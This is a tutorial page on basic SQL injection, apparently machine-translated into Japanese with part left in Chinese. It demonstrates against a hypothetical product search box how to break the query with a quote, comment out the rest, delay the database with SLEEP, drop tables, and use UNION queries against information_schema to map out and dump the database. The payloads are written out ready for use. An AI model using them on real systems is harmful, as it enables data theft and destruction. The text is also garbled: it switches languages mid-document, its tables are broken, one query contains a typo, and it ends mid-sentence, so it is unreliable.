##SQL インジェクションの基本原則
WEB テクノロジーは急速に発展していますが、素手で SQL を綴るという伝統的な技術は依然としてかなりのユーザーに好まれています。開発者が少ない。結局のところ、一連の複雑な ORM ルールを学習するよりも、手作業で行う方が便利で直感的です。通常、自分で SQL を書く人は、SQL インジェクション が危険であることを聞いたことがあるはずですが、彼らは常に次のように考えています。「私の SQL ステートメントは非常に単純なので、インジェクションすることはできません。」
簡単なシナリオ
製品名を入力し、対応する価格、製造日、製造場所の情報を表示する WEB インターフェイスがあります。たとえば、「ハンマー ディスプレイ」と入力します。Price | Place ofproduction | Date ofproduction | |
---|---|---|---|
12.98 | アメリカン | 2019.11.07 | |
29.98 | カナダ | 2019.11.11 |
。 上記の機能を実現したい場合、サーバーで使用される SQL ステートメントは次のとおりであると大まかに推測できます:
SELECT ? FROM ? WHERE ? LIKE '%Hammer%';
where? は、現時点では具体的な内容がわからないことを意味します。テーブル名とフィールド名であり、この SQL は一意です。操作できるのは、シングルクォート '%Hammer%' 内の入力内容です。検索ボックスに一重引用符を直接入力した場合。つまり、
select ? from ? where ? Like '%'%';
になります。このように結合すると、SQL 構文エラーが発生し、結果が得られません。
-- を使用して、最後の単一をコメントアウトする必要があります。引用。 <pre class="brush:sql;toolbar:false;">select ? from ? where ? Like &#39;%&#39;; -- %&#39;;</pre>
の後にコメント内容が続きます (# も使用できます)。これにより、すべての製品情報を取得できます。匂いを嗅いだことがない、危険信号だ。
生産地 | 生産日 | ||
---|---|---|---|
アメリカン | 2019.11.07 | クラブハンマー | |
カナダ | 2019.11.11 | 果物ナイフ | |
中国 | 2019.11.11 | 骨抜きナイフ | |
中国 | 2019.01.01 |
# 前のステップの展開可能な一重引用符の部分をそのままにしておきます。単純な遅延ステートメントを試してみましょう:
select ? from ? where ? Like '%Hammer%' and 1 = SLEEP(2); -- %';現時点では、クエリが結果を返すまでに 2 秒かかります。時間が延長される場合は、スクリプトを使用してクエリを数回実行すると、データベース接続プールが一発で復旧。 もちろん、さらに破壊的なものもあります。
select ? from ? where ? Like '%Hammer%'; drop table xxxx; -- %';テーブル/データベースを直接削除できますが、データベースにどのテーブルがあるかを知る方法 (つまり、前の SQL 文の xxxx を確認する方法) についてはどうすればよいですか?
結合したいことは何でもしてください
このデータベースにどのようなテーブルがあるのかを知る必要があります。この方法でのみ有益な情報を得ることができます。
ユニオンを使用すると、さまざまなテーブルの内容を結合できます。試してみてください:select ?,?,?,? from ? where ? Like '%Hammer%' UNION (select 1,2,3,4 from dual); -- %';##Product
生産地 | 生産日 | ||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|---|
アメリカ | 2019.11.07 | クラブハンマー | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
カナダ | 2019.11.11 | 1 | |||||||||||||||||||||||||||||||||||||||||||||||||||||||||||||
3 | 4 |
可以看到我们把假数据1,2,3,4成功地拼接到搜索结果中。 Mysql系统自带的信息都存在information_schema数据库中。我们试着在里面找找有用的信息。 select ? from ? where ? Like '%Hammer%' UNION (select TABLE_NAME,TABLE_SCHEMA,3,4 from information_schema.tables); -- %';
现在知道了这些数据库名和表名,所有人都对它为所欲为了!(包括上面执行的DROP)。 看着列表一猜就能知道我们目前查的是products表,接下来我们再把products具体的字段也挖出来。 select ? from ? where ? Like '%Hammer%' UNION (select COLUMN_NAME,TABLE_SCHEMA,3,4 from imformation_schema.columns where table_name = 'products'); -- %';
所以,通过上面2步,我们知道了表名和字段名,那么查询API的完整SQL应该是(把上面的?都补全啦): select name,price,address,updated_at from products where name like '%Hammer%'; 通过不断重复以上几个步骤,你就可以通过这一个小小的入口把数据库的所有信息(比如上面发现的user表 |
以上がSQL インジェクションの基本原理をすぐに理解するの詳細内容です。詳細については、PHP 中国語 Web サイトの他の関連記事を参照してください。